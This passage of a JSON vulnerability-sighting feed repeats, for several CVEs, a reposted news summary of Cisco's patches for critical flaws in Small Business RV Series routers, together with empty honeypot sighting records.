Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20710", "author": {"login": "automation"}}, {"uuid": "06adbcec-bed4-4cb4-9680-dfbb42936b5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.779522+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20704", "author": {"login": "automation"}}, {"uuid": "cb1ca022-7b79-4ef5-bbb2-db2a6007f7d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.769622+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-3577", "author": {"login": "automation"}}, {"uuid": "5ffccca2-621e-40dc-ae70-888381c26dd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.717599+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20708", "author": {"login": "automation"}}, {"uuid": "504f25b3-630c-416c-8b50-ef384a10b2a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.702023+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2018-17173", "author": {"login": "automation"}}, {"uuid": "0b104cd2-e588-49cf-8878-e58ccf286d37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.666136+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20703", "author": {"login": "automation"}}, {"uuid": "94fa36b0-be07-42d4-835e-98c69777c7ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.647158+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-35250", "author": {"login": "automation"}}, {"uuid": "dd597c5d-b06d-4a6e-bc1a-66cd3267dccb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.612028+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20707", "author": {"login": "automation"}}, {"uuid": "71eea630-e638-49a0-a663-cf12955c5aec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.588849+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2020-26948", "author": {"login": "automation"}}, {"uuid": "0fd1f167-d83a-4b8b-aa4a-80857ad17653", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.562542+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20749", "author": {"login": "automation"}}, {"uuid": "af3bd1bd-460d-4fee-b5ce-2d219c5ae088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.511066+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20709", "author": {"login": "automation"}}, {"uuid": "30abc620-a7e7-4704-9797-fd3ba2514224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.489118+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2015-2051", "author": {"login": "automation"}}, {"uuid": "4bc72b65-7ef6-4e09-957a-4c5ba6c7534f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.456420+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20700", "author": {"login": "automation"}}, {"uuid": "a6772abf-3b31-425a-9ab0-be552b05f3ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.429601+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2020-9054", "author": {"login": "automation"}}, {"uuid": "5d1a3908-c1b2-46c0-8f65-26e45422032a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.405437+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 